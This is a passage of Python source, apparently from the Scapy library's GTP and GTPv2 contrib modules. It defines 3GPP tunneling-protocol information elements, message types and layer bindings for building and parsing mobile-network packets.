IE_GSNAddress(IE_Base): name = "GSN Address" fields_desc = [ByteEnumField("ietype", 133, IEType), ShortField("length", None), ConditionalField(IPField("ipv4_address", RandIP()), lambda pkt: pkt.length == 4), ConditionalField(IP6Field("ipv6_address", '::1'), lambda pkt: pkt.length == 16)] def post_build(self, p, pay): if self.length is None: tmp_len = len(p) - 3 p = p[:2] + struct.pack("!B", tmp_len) + p[3:] return p class IE_MSInternationalNumber(IE_Base): name = "MS International Number" fields_desc = [ByteEnumField("ietype", 134, IEType), ShortField("length", None), FlagsField("flags", 0x91, 8, ["Extension", "", "", "International Number", "", "", "", "ISDN numbering"]), # noqa: E501 TBCDByteField("digits", "33607080910", length_from=lambda x: x.length - 1)] # noqa: E501 class QoS_Profile(IE_Base): name = "QoS profile" # 3GPP TS 24.008 10.5.6.5 fields_desc = [ByteField("qos_ei", 0), ByteField("length", None), XBitField("spare1", 0x00, 2), XBitField("delay_class", 0x000, 3), XBitField("reliability_class", 0x000, 3), XBitField("peak_troughput", 0x0000, 4), BitField("spare2", 0, 1), XBitField("precedence_class", 0x000, 3), XBitField("spare3", 0x000, 3), XBitField("mean_troughput", 0x00000, 5), XBitField("traffic_class", 0x000, 3), XBitField("delivery_order", 0x00, 2), XBitField("delivery_of_err_sdu", 0x000, 3), ByteField("max_sdu_size", None), ByteField("max_bitrate_up", None), ByteField("max_bitrate_down", None), XBitField("redidual_ber", 0x0000, 4), XBitField("sdu_err_ratio", 0x0000, 4), XBitField("transfer_delay", 0x00000, 5), XBitField("traffic_handling_prio", 0x000, 3), ByteField("guaranteed_bit_rate_up", None), ByteField("guaranteed_bit_rate_down", None)] class IE_QoS(IE_Base): name = "QoS" fields_desc = [ByteEnumField("ietype", 135, IEType), ShortField("length", None), ByteField("allocation_retention_prioiry", 1), # 3GPP TS 24.008 10.5.6.5 ConditionalField(XBitField("spare1", 0x00, 2), lambda p: p.length and p.length > 1), ConditionalField(XBitField("delay_class", 0x000, 3), lambda p: p.length and p.length > 1), ConditionalField(XBitField("reliability_class", 0x000, 3), lambda p: p.length and p.length > 1), ConditionalField(XBitField("peak_troughput", 0x0000, 4), lambda p: p.length and p.length > 2), ConditionalField(BitField("spare2", 0, 1), lambda p: p.length and p.length > 2), ConditionalField(XBitField("precedence_class", 0x000, 3), lambda p: p.length and p.length > 2), ConditionalField(XBitField("spare3", 0x000, 3), lambda p: p.length and p.length > 3), ConditionalField(XBitField("mean_troughput", 0x00000, 5), lambda p: p.length and p.length > 3), ConditionalField(XBitField("traffic_class", 0x000, 3), lambda p: p.length and p.length > 4), ConditionalField(XBitField("delivery_order", 0x00, 2), lambda p: p.length and p.length > 4), ConditionalField(XBitField("delivery_of_err_sdu", 0x000, 3), lambda p: p.length and p.length > 4), ConditionalField(ByteField("max_sdu_size", None), lambda p: p.length and p.length > 5), ConditionalField(ByteField("max_bitrate_up", None), lambda p: p.length and p.length > 6), ConditionalField(ByteField("max_bitrate_down", None), lambda p: p.length and p.length > 7), ConditionalField(XBitField("redidual_ber", 0x0000, 4), lambda p: p.length and p.length > 8), ConditionalField(XBitField("sdu_err_ratio", 0x0000, 4), lambda p: p.length and p.length > 8), ConditionalField(XBitField("transfer_delay", 0x00000, 6), lambda p: p.length and p.length > 9), ConditionalField(XBitField("traffic_handling_prio", 0x000, 2), lambda p: p.length and p.length > 9), ConditionalField(ByteField("guaranteed_bit_rate_up", None), lambda p: p.length and p.length > 10), ConditionalField(ByteField("guaranteed_bit_rate_down", None), lambda p: p.length and p.length > 11), ConditionalField(XBitField("spare4", 0x000, 3), lambda p: p.length and p.length > 12), ConditionalField(BitField("signaling_indication", 0, 1), lambda p: p.length and p.length > 12), ConditionalField(XBitField("source_stats_desc", 0x0000, 4), lambda p: p.length and p.length > 12), ConditionalField(ByteField("max_bitrate_down_ext", None), lambda p: p.length and p.length > 13), ConditionalField(ByteField("guaranteed_bitrate_down_ext", None), lambda p: p.length and p.length > 14), ConditionalField(ByteField("max_bitrate_up_ext", None), lambda p: p.length and p.length > 15), ConditionalField(ByteField("guaranteed_bitrate_up_ext", None), lambda p: p.length and p.length > 16), ConditionalField(ByteField("max_bitrate_down_ext2", None), lambda p: p.length and p.length > 17), ConditionalField(ByteField("guaranteed_bitrate_down_ext2", None), lambda p: p.length and p.length > 18), ConditionalField(ByteField("max_bitrate_up_ext2", None), lambda p: p.length and p.length > 19), ConditionalField(ByteField("guaranteed_bitrate_up_ext2", None), lambda p: p.length and p.length > 20)] class IE_CommonFlags(IE_Base): name = "Common Flags" fields_desc = [ByteEnumField("ietype", 148, IEType), ShortField("length", None), BitField("dual_addr_bearer_fl", 0, 1), BitField("upgrade_qos_supported", 0, 1), BitField("nrsn", 0, 1), BitField("no_qos_nego", 0, 1), BitField("mbms_cnting_info", 0, 1), BitField("ran_procedure_ready", 0, 1), BitField("mbms_service_type", 0, 1), BitField("prohibit_payload_compression", 0, 1)] class IE_APNRestriction(IE_Base): name = "APN Restriction" fields_desc = [ByteEnumField("ietype", 149, IEType), ShortField("length", 1), ByteField("restriction_type_value", 0)] class IE_RATType(IE_Base): name = "Rat Type" fields_desc = [ByteEnumField("ietype", 151, IEType), ShortField("length", 1), ByteEnumField("RAT_Type", None, RATType)] class IE_UserLocationInformation(IE_Base): name = "User Location Information" fields_desc = [ByteEnumField("ietype", 152, IEType), ShortField("length", None), ByteField("type", 1), # Only type 1 is currently supported TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte # noqa: E501 TBCDByteField("MNC", "", 1), ShortField("LAC", None), ShortField("SAC", None)] class IE_MSTimeZone(IE_Base): name = "MS Time Zone" fields_desc = [ByteEnumField("ietype", 153, IEType), ShortField("length", None), ByteField("timezone", 0), BitField("spare", 0, 6), XBitField("daylight_saving_time", 0x00, 2)] class IE_IMEI(IE_Base): name = "IMEI" fields_desc = [ByteEnumField("ietype", 154, IEType), ShortField("length", None), TBCDByteField("IMEI", "", length_from=lambda x: x.length)] class IE_MSInfoChangeReportingAction(IE_Base): name = "MS Info Change Reporting Action" fields_desc = [ByteEnumField("ietype", 181, IEType), ShortField("length", 1), ByteField("Action", 0)] class IE_DirectTunnelFlags(IE_Base): name = "Direct Tunnel Flags" # 29.060 7.7.81 fields_desc = [ByteEnumField("ietype", 182, IEType), ShortField("length", 1), BitField("spare", 0, 5), BitField("EI", 0, 1), BitField("GCSI", 0, 1), BitField("DTI", 0, 1)] class IE_BearerControlMode(IE_Base): name = "Bearer Control Mode" fields_desc = [ByteEnumField("ietype", 184, IEType), ShortField("length", 1), ByteField("bearer_control_mode", 0)] class IE_EvolvedAllocationRetentionPriority(IE_Base): name = "Evolved Allocation/Retention Priority" # 29.060 7.7.91 fields_desc = [ByteEnumField("ietype", 191, IEType), ShortField("length", 1), BitField("spare1", 0, 1), BitField("PCI", 0, 1), XBitField("PL", 0x0000, 4), BitField("spare2", 0, 1), BitField("PVI", 0, 1)] class IE_CharginGatewayAddress(IE_Base): name = "Charging Gateway Address" fields_desc = [ByteEnumField("ietype", 251, IEType), ShortField("length", 4), ConditionalField(IPField("ipv4_address", "127.0.0.1"), lambda pkt: pkt.length == 4), ConditionalField(IP6Field("ipv6_address", "::1"), lambda pkt: pkt.length == 16)] class IE_PrivateExtension(IE_Base): name = "Private Extension" fields_desc = [ByteEnumField("ietype", 255, IEType), ShortField("length", 1), ByteField("extension_identifier", 0), StrLenField("extention_value", "", length_from=lambda x: x.length)] class IE_ExtensionHeaderList(IE_Base): name = "Extension Header List" fields_desc = [ByteEnumField("ietype", 141, IEType), FieldLenField("length", None, length_of="extension_headers"), # noqa: E501 FieldListField("extension_headers", [64, 192], ByteField("", 0))] # noqa: E501 class IE_NotImplementedTLV(Packet): name = "IE not implemented" fields_desc = [ByteEnumField("ietype", 0, IEType), ShortField("length", None), StrLenField("data", "", length_from=lambda x: x.length)] def extract_padding(self, pkt): return "", pkt ietypecls = {1: IE_Cause, 2: IE_IMSI, 3: IE_Routing, 8: IE_ReorderingRequired, 14: IE_Recovery, 15: IE_SelectionMode, 16: IE_TEIDI, 17: IE_TEICP, 19: IE_Teardown, 20: IE_NSAPI, 26: IE_ChargingCharacteristics, 27: IE_TraceReference, 28: IE_TraceType, 127: IE_ChargingId, 128: IE_EndUserAddress, 131: IE_AccessPointName, 132: IE_ProtocolConfigurationOptions, 133: IE_GSNAddress, 134: IE_MSInternationalNumber, 135: IE_QoS, 141: IE_ExtensionHeaderList, 148: IE_CommonFlags, 149: IE_APNRestriction, 151: IE_RATType, 152: IE_UserLocationInformation, 153: IE_MSTimeZone, 154: IE_IMEI, 181: IE_MSInfoChangeReportingAction, 182: IE_DirectTunnelFlags, 184: IE_BearerControlMode, 191: IE_EvolvedAllocationRetentionPriority, 251: IE_CharginGatewayAddress, 255: IE_PrivateExtension} def IE_Dispatcher(s): """Choose the correct Information Element class.""" if len(s) < 1: return Raw(s) # Get the IE type ietype = orb(s[0]) cls = ietypecls.get(ietype, Raw) # if ietype greater than 128 are TLVs if cls == Raw and ietype & 128 == 128: cls = IE_NotImplementedTLV return cls(s) class GTPEchoResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Echo Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, GTPEchoRequest) class GTPCreatePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Request" fields_desc = [PacketListField("IE_list", [IE_TEIDI(), IE_NSAPI(), IE_GSNAddress(length=4, ipv4_address=RandIP()), # noqa: E501 IE_GSNAddress(length=4, ipv4_address=RandIP()), # noqa: E501 IE_NotImplementedTLV(ietype=135, length=15, data=RandString(15))], # noqa: E501 IE_Dispatcher)] class GTPCreatePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, GTPCreatePDPContextRequest) class GTPUpdatePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Update PDP Context Request" fields_desc = [PacketListField("IE_list", [ IE_Cause(), IE_Recovery(), IE_TEIDI(), IE_TEICP(), IE_ChargingId(), IE_ProtocolConfigurationOptions(), IE_GSNAddress(), IE_GSNAddress(), IE_GSNAddress(), IE_GSNAddress(), IE_QoS(), IE_CharginGatewayAddress(), IE_CharginGatewayAddress(), IE_CommonFlags(), IE_APNRestriction(), IE_BearerControlMode(), IE_MSInfoChangeReportingAction(), IE_EvolvedAllocationRetentionPriority(), IE_PrivateExtension()], IE_Dispatcher)] class GTPUpdatePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Update PDP Context Response" fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] def answers(self, other): return isinstance(other, GTPUpdatePDPContextRequest) class GTPErrorIndication(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Error Indication" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class GTPDeletePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Delete PDP Context Request" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] class GTPDeletePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Delete PDP Context Response" fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] def answers(self, other): return isinstance(other, GTPDeletePDPContextRequest) class GTPPDUNotificationRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP PDU Notification Request" fields_desc = [PacketListField("IE_list", [IE_IMSI(), IE_TEICP(TEICI=RandInt()), IE_EndUserAddress(PDPTypeNumber=0x21), # noqa: E501 IE_AccessPointName(), IE_GSNAddress(ipv4_address="127.0.0.1"), # noqa: E501 ], IE_Dispatcher)] class GTPSupportedExtensionHeadersNotification(Packet): name = "GTP Supported Extension Headers Notification" fields_desc = [PacketListField("IE_list", [IE_ExtensionHeaderList(), ], IE_Dispatcher)] class GTPmorethan1500(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP More than 1500" fields_desc = [ByteEnumField("IE_Cause", "Cause", IEType), BitField("IE", 1, 12000), ] # Bind GTP-C bind_bottom_up(UDP, GTPHeader, dport=2123) bind_bottom_up(UDP, GTPHeader, sport=2123) bind_layers(UDP, GTPHeader, dport=2123, sport=2123) bind_layers(GTPHeader, GTPEchoRequest, gtp_type=1, S=1) bind_layers(GTPHeader, GTPEchoResponse, gtp_type=2, S=1) bind_layers(GTPHeader, GTPCreatePDPContextRequest, gtp_type=16) bind_layers(GTPHeader, GTPCreatePDPContextResponse, gtp_type=17) bind_layers(GTPHeader, GTPUpdatePDPContextRequest, gtp_type=18) bind_layers(GTPHeader, GTPUpdatePDPContextResponse, gtp_type=19) bind_layers(GTPHeader, GTPDeletePDPContextRequest, gtp_type=20) bind_layers(GTPHeader, GTPDeletePDPContextResponse, gtp_type=21) bind_layers(GTPHeader, GTPPDUNotificationRequest, gtp_type=27) bind_layers(GTPHeader, GTPSupportedExtensionHeadersNotification, gtp_type=31, S=1) # noqa: E501 bind_layers(GTPHeader, GTP_UDPPort_ExtensionHeader, next_ex=64, E=1) bind_layers(GTPHeader, GTP_PDCP_PDU_ExtensionHeader, next_ex=192, E=1) # Bind GTP-U bind_bottom_up(UDP, GTP_U_Header, dport=2152) bind_bottom_up(UDP, GTP_U_Header, sport=2152) bind_layers(UDP, GTP_U_Header, dport=2152, sport=2152) bind_layers(GTP_U_Header, GTPErrorIndication, gtp_type=26, S=1) bind_layers(GTP_U_Header, GTPPDUSessionContainer, gtp_type=255, E=1, next_ex=0x85) bind_top_down(GTP_U_Header, IP, gtp_type=255) bind_top_down(GTP_U_Header, IPv6, gtp_type=255) bind_top_down(GTP_U_Header, PPP, gtp_type=255) ================================================ FILE: scapy/contrib/gtp_v2.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Alessio Deiana # 2017 Alexis Sultan # scapy.contrib.description = GPRS Tunneling Protocol v2 (GTPv2) # scapy.contrib.status = loads import struct from scapy.compat import orb from scapy.data import IANA_ENTERPRISE_NUMBERS from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, IPField, IntField, MultipleTypeField, PacketField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, StrLenField, ThreeBytesField, XBitField, XIntField, XShortField, ) from scapy.layers.inet6 import IP6Field from scapy.packet import bind_layers, Packet, Raw from scapy.volatile import RandIP, RandShort from scapy.contrib import gtp RATType = { 1: "UTRAN", 2: "GERAN", 3: "WLAN", 4: "GAN", 5: "HSPA Evolution", 6: "EUTRAN", 7: "Virtual", 8: "EUTRAN-NB-IoT", 9: "LTE-M", 10: "NR", } # 3GPP TS 29.274 v16.1.0 table 6.1-1 GTPmessageType = { 1: "echo_request", 2: "echo_response", 3: "version_not_supported", # 4-16: S101 interface, TS 29.276. # 17-24: S121 interface, TS 29.276. # 25-31: Sv interface, TS 29.280. # SGSN/MME/ TWAN/ePDG to PGW (S4/S11, S5/S8, S2a, S2b) 32: "create_session_req", 33: "create_session_res", 36: "delete_session_req", 37: "delete_session_res", # SGSN/MME/ePDG to PGW (S4/S11, S5/S8, S2b) 34: "modify_bearer_req", 35: "modify_bearer_res", # MME to PGW (S11, S5/S8) 40: "remote_ue_report_notif", 41: "remote_ue_report_ack", # SGSN/MME to PGW (S4/S11, S5/S8) 38: "change_notif_req", 39: "change_notif_res", # 42-46: For future use. 164: "resume_notif", 165: "resume_ack", # Messages without explicit response 64: "modify_bearer_cmd", 65: "modify_bearer_failure_indic", 66: "delete_bearer_cmd", 67: "delete_bearer_failure_indic", 68: "bearer_resource_cmd", 69: "bearer_resource_failure_indic", 70: "downlink_data_notif_failure_indic", 71: "trace_session_activation", 72: "trace_session_deactivation", 73: "stop_paging_indic", # 74-94: For future use. # PGW to SGSN/MME/ TWAN/ePDG (S5/S8, S4/S11, S2a, S2b) 95: "create_bearer_req", 96: "create_bearer_res", 97: "update_bearer_req", 98: "update_bearer_res", 99: "delete_bearer_req", 100: "delete_bearer_res", # PGW to MME, MME to PGW, SGW to PGW, SGW to MME, PGW to TWAN/ePDG, # TWAN/ePDG to PGW (S5/S8, S11, S2a, S2b) 101: "delete_pdn_connection_set_req", 102: "delete_pdn_connection_set_res", # PGW to SGSN/MME (S5, S4/S11) 103: "pgw_downlink_triggering_notif", 104: "pgw_downlink_triggering_ack", # 105-127: For future use. # MME to MME, SGSN to MME, MME to SGSN, SGSN to SGSN, MME to AMF, # AMF to MME (S3/S10/S16/N26) 128: "identification_req", 129: "identification_res", 130: "context_req", 131: "context_res", 132: "context_ack", 133: "forward_relocation_req", 134: "forward_relocation_res", 135: "forward_relocation_complete_notif", 136: "forward_relocation_complete_ack", 137: "forward_access_context_notif", 138: "forward_access_context_ack", 139: "relocation_cancel_req", 140: "relocation_cancel_res", 141: "configuration_transfer_tunnel", # 142-148: For future use. 152: "ran_information_relay", # SGSN to MME, MME to SGSN (S3) 149: "detach_notif", 150: "detach_ack", 151: "cs_paging_indic", 153: "alert_mme_notif", 154: "alert_mme_ack", 155: "ue_activity_notif", 156: "ue_activity_ack", 157: "isr_status_indic", 158: "ue_registration_query_req", 159: "ue_registration_query_res", # SGSN/MME to SGW, SGSN to MME (S4/S11/S3) # SGSN to SGSN (S16), SGW to PGW (S5/S8) 162: "suspend_notif", 163: "suspend_ack", # SGSN/MME to SGW (S4/S11) 160: "create_forwarding_tunnel_req", 161: "create_forwarding_tunnel_res", 166: "create_indirect_data_forwarding_tunnel_req", 167: "create_indirect_data_forwarding_tunnel_res", 168: "delete_indirect_data_forwarding_tunnel_req", 169: "delete_indirect_data_forwarding_tunnel_res", 170: "realease_bearers_req", 171: "realease_bearers_res", # 172-175: For future use # SGW to SGSN/MME (S4/S11) 176: "downlink_data_notif", 177: "downlink_data_notif_ack", 179: "pgw_restart_notif", 180: "pgw_restart_notif_ack", # SGW to SGSN (S4) # 178: Reserved. Allocated in earlier version of the specification. # 181-199: For future use. # SGW to PGW, PGW to SGW (S5/S8) 200: "update_pdn_connection_set_req", 201: "update_pdn_connection_set_res", # 202-210: For future use. # MME to SGW (S11) 211: "modify_access_bearers_req", 212: "modify_access_bearers_res", # 213-230: For future use. # MBMS GW to MME/SGSN (Sm/Sn) 231: "mbms_session_start_req", 232: "mbms_session_start_res", 233: "mbms_session_update_req", 234: "mbms_session_update_res", 235: "mbms_session_stop_req", 236: "mbms_session_stop_res", # 237-239: For future use. # Other # 240-247: Reserved for Sv interface (see also types 25 to 31, and # TS 29.280). # 248-255: For future use. } IEType = {1: "IMSI", 2: "Cause", 3: "Recovery Restart", 71: "APN", 72: "AMBR", 73: "EPS Bearer ID", 74: "IP Address", 75: "MEI", 76: "MSISDN", 77: "Indication", 78: "Protocol Configuration Options", 79: "PAA", 80: "Bearer QoS", 82: "RAT", 83: "Serving Network", 84: "Bearer TFT", 86: "ULI", 87: "F-TEID", 93: "Bearer Context", 94: "Charging ID", 95: "Charging Characteristics", 97: "Bearer Flags", 99: "PDN Type", 107: "MM Context (EPS Security Context and Quadruplets)", 109: "PDN Connection", 114: "UE Time zone", 126: "Port Number", 127: "APN Restriction", 128: "Selection Mode", 132: "FQ-CSID", 136: "FQDN", 145: "UCI", 161: "Max MBR/APN-AMBR (MMBR)", 163: "Additional Protocol Configuration Options", 170: "ULI Timestamp", 172: "RAN/NAS Cause", 197: "Extended Protocol Configuration Options", 202: "UP Function Selection Indication Flags", 255: "Private Extension", } class GTPHeader(gtp.GTPHeader): # 3GPP TS 29.060 V9.1.0 (2009-12) # without the version name = "GTP v2 Header" fields_desc = [BitField("version", 2, 3), BitField("P", 1, 1), BitField("T", 1, 1), BitField("MP", 0, 1), BitField("SPARE1", 0, 1), BitField("SPARE2", 0, 1), ByteEnumField("gtp_type", None, GTPmessageType), ShortField("length", None), ConditionalField(XIntField("teid", 0), lambda pkt:pkt.T == 1), ThreeBytesField("seq", RandShort()), ConditionalField(BitField("msg_priority", 0, 4), lambda pkt:pkt.MP == 1), ConditionalField( MultipleTypeField( [(BitField("SPARE3", 0, 4), lambda pkt: pkt.MP == 1)], ByteField("SPARE3", 0)), lambda pkt: pkt.MP in [0, 1])] class IE_IP_Address(gtp.IE_Base): name = "IE IP Address" fields_desc = [ByteEnumField("ietype", 74, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ConditionalField( IPField("address", RandIP()), lambda pkt: pkt.length == 4), ConditionalField( IP6Field("address6", None), lambda pkt: pkt.length == 16)] def post_build(self, p, pay): if self.length is None: tmp_len = 16 if self.address6 is not None else 4 p = p[:1] + struct.pack("!H", tmp_len) + p[2:] return p + pay class IE_MEI(gtp.IE_Base): name = "IE MEI" fields_desc = [ByteEnumField("ietype", 75, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("MEI", "175675478970685", length_from=lambda x: x.length)] def IE_Dispatcher(s): """Choose the correct Information Element class.""" # Get the IE type ietype = orb(s[0]) cls = ietypecls.get(ietype, Raw) # if ietype greater than 128 are TLVs if cls is Raw and ietype > 128: cls = IE_NotImplementedTLV return cls(s) class IE_EPSBearerID(gtp.IE_Base): name = "IE EPS Bearer ID" fields_desc = [ByteEnumField("ietype", 73, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("EBI", 0)] class IE_RAT(gtp.IE_Base): name = "IE RAT" fields_desc = [ByteEnumField("ietype", 82, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteEnumField("RAT_type", None, RATType)] class IE_ServingNetwork(gtp.IE_Base): name = "IE Serving Network" fields_desc = [ByteEnumField("ietype", 83, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1)] # User Location Information IE and fields. # 3GPP TS 29.274 v16.1.0 section 8.21. class ULI_Field(Packet): """Base class for ULI fields.""" def extract_padding(self, s): return "", s class ULI_CGI(ULI_Field): name = "Cell Global Identifier" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), ShortField("LAC", 0), ShortField("CI", 0), ] class ULI_SAI(ULI_Field): name = "Service Area Identity" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), ShortField("LAC", 0), ShortField("SAC", 0), ] class ULI_RAI(ULI_Field): name = "Routing Area Identity" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, then the length of # MNC is 1 byte gtp.TBCDByteField("MNC", "", 1), ShortField("LAC", 0), ShortField("RAC", 0), ] class ULI_TAI(ULI_Field): name = "Tracking Area Identity" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), ShortField("TAC", 0), ] class ULI_ECGI(ULI_Field): name = "E-UTRAN Cell Global Identifier" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), BitField("SPARE", 0, 4), BitField("ECI", 0, 28), ] class ULI_LAI(ULI_Field): name = "Location Area Identifier" fields_desc = [ gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), ShortField("LAC", 0), ] class IE_ULI(gtp.IE_Base): name = "IE User Location Information" fields_desc = [ ByteEnumField("ietype", 86, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 2), BitField("LAI_Present", 0, 1), BitField("ECGI_Present", 0, 1), BitField("TAI_Present", 0, 1), BitField("RAI_Present", 0, 1), BitField("SAI_Present", 0, 1), BitField("CGI_Present", 0, 1), ConditionalField( PacketField("CGI", 0, ULI_CGI), lambda pkt: bool(pkt.CGI_Present)), ConditionalField( PacketField("SAI", 0, ULI_SAI), lambda pkt: bool(pkt.SAI_Present)), ConditionalField( PacketField("RAI", 0, ULI_RAI), lambda pkt: bool(pkt.RAI_Present)), ConditionalField( PacketField("TAI", 0, ULI_TAI), lambda pkt: bool(pkt.TAI_Present)), ConditionalField( PacketField("ECGI", 0, ULI_ECGI), lambda pkt: bool(pkt.ECGI_Present)), ConditionalField( PacketField("LAI", 0, ULI_LAI), lambda pkt: bool(pkt.LAI_Present)), ] class IE_ULI_Timestamp(gtp.IE_Base): name = "IE ULI Timestamp" fields_desc = [ ByteEnumField("ietype", 170, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), XIntField("timestamp", 0)] # 3GPP TS 29.274 v12.12.0 section 8.22 INTERFACE_TYPES = { 0: "S1-U eNodeB GTP-U interface", 1: "S1-U SGW GTP-U interface", 2: "S12 RNC GTP-U interface", 3: "S12 SGW GTP-U interface", 4: "S5/S8 SGW GTP-U interface", 5: "S5/S8 PGW GTP-U interface", 6: "S5/S8 SGW GTP-C interface", 7: "S5/S8 PGW GTP-C interface", 8: "S5/S8 SGW PMIPv6 interface", 9: "S5/S8 PGW PMIPv6 interface", 10: "S11 MME GTP-C interface", 11: "S11/S4 SGW GTP-C interface", 12: "S10 MME GTP-C interface", 13: "S3 MME GTP-C interface", 14: "S3 SGSN GTP-C interface", 15: "S4 SGSN GTP-U interface", 16: "S4 SGW GTP-U interface", 17: "S4 SGSN GTP-C interface", 18: "S16 SGSN GTP-C interface", 19: "eNodeB GTP-U interface for DL data forwarding", 20: "eNodeB GTP-U interface for UL data forwarding", 21: "RNC GTP-U interface for data forwarding", 22: "SGSN GTP-U interface for data forwarding", 23: "SGW GTP-U interface for DL data forwarding", 24: "Sm MBMS GW GTP-C interface", 25: "Sn MBMS GW GTP-C interface", 26: "Sm MME GTP-C interface", 27: "Sn SGSN GTP-C interface", 28: "SGW GTP-U interface for UL data forwarding", 29: "Sn SGSN GTP-U interface", 30: "S2b ePDG GTP-C interface", 31: "S2b-U ePDG GTP-U interface", 32: "S2b PGW GTP-C interface", 33: "S2b-U PGW GTP-U interface", 34: "S2a TWAN GTP-U interface", 35: "S2a TWAN GTP-C interface", 36: "S2a PGW GTP-C interface", 37: "S2a PGW GTP-U interface", } class IE_UCI(gtp.IE_Base): name = "IE UCI" fields_desc = [ByteEnumField("ietype", 145, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("MCC", "", 2), gtp.TBCDByteField("MNC", "", 1), BitField("SPARE1", 0, 5), BitField("CSG_ID", 0, 27), BitField("AccessMode", 0, 2), BitField("SPARE2", 0, 4), BitField("LCSG", 0, 1), BitField("CMI", 0, 1)] class IE_FTEID(gtp.IE_Base): name = "IE F-TEID" fields_desc = [ByteEnumField("ietype", 87, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("ipv4_present", 0, 1), BitField("ipv6_present", 0, 1), BitEnumField("InterfaceType", 0, 6, INTERFACE_TYPES), XIntField("GRE_Key", 0), ConditionalField( IPField("ipv4", RandIP()), lambda pkt: pkt.ipv4_present), ConditionalField(XBitField("ipv6", "2001::", 128), lambda pkt: pkt.ipv6_present)] class IE_BearerContext(gtp.IE_Base): name = "IE Bearer Context" fields_desc = [ByteEnumField("ietype", 93, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), PacketListField("IE_list", None, IE_Dispatcher, length_from=lambda pkt: pkt.length)] class IE_BearerFlags(gtp.IE_Base): name = "IE Bearer Flags" fields_desc = [ByteEnumField("ietype", 97, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 4), BitField("ASI", 0, 1), BitField("Vind", 0, 1), BitField("VB", 0, 1), BitField("PPC", 0, 1)] class IE_MMContext_EPS(gtp.IE_Base): name = "IE MM Context (EPS Security Context and Quadruplets)" fields_desc = [ByteEnumField("ietype", 107, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("Sec_Mode", 0, 3), BitField("Nhi", 0, 1), BitField("Drxi", 0, 1), BitField("Ksi", 0, 3), BitField("Num_quint", 0, 3), BitField("Num_Quad", 0, 3), BitField("Uambri", 0, 1), BitField("Osci", 0, 1), BitField("Sambri", 0, 1), BitField("Nas_algo", 0, 3), BitField("Nas_cipher", 0, 4), ThreeBytesField("Nas_dl_count", 0), ThreeBytesField("Nas_ul_count", 0), BitField("Kasme", 0, 256), ConditionalField(StrLenField("fields", "", length_from=lambda x: x.length - 41), lambda pkt: pkt.length > 40)] class IE_PDNConnection(gtp.IE_Base): name = "IE PDN Connection" fields_desc = [ByteEnumField("ietype", 109, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), PacketListField("IE_list", None, IE_Dispatcher, length_from=lambda pkt: pkt.length)] class IE_FQDN(gtp.IE_Base): name = "IE FQDN" fields_desc = [ByteEnumField("ietype", 136, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.FQDNField("fqdn", b"", length_from=lambda x: x.length)] class IE_NotImplementedTLV(gtp.IE_Base): name = "IE not implemented" fields_desc = [ByteEnumField("ietype", 0, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), StrLenField("data", "", length_from=lambda x: x.length)] class IE_IMSI(gtp.IE_Base): name = "IE IMSI" fields_desc = [ByteEnumField("ietype", 1, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("IMSI", "33607080910", length_from=lambda x: x.length)] # 3GPP TS 29.274 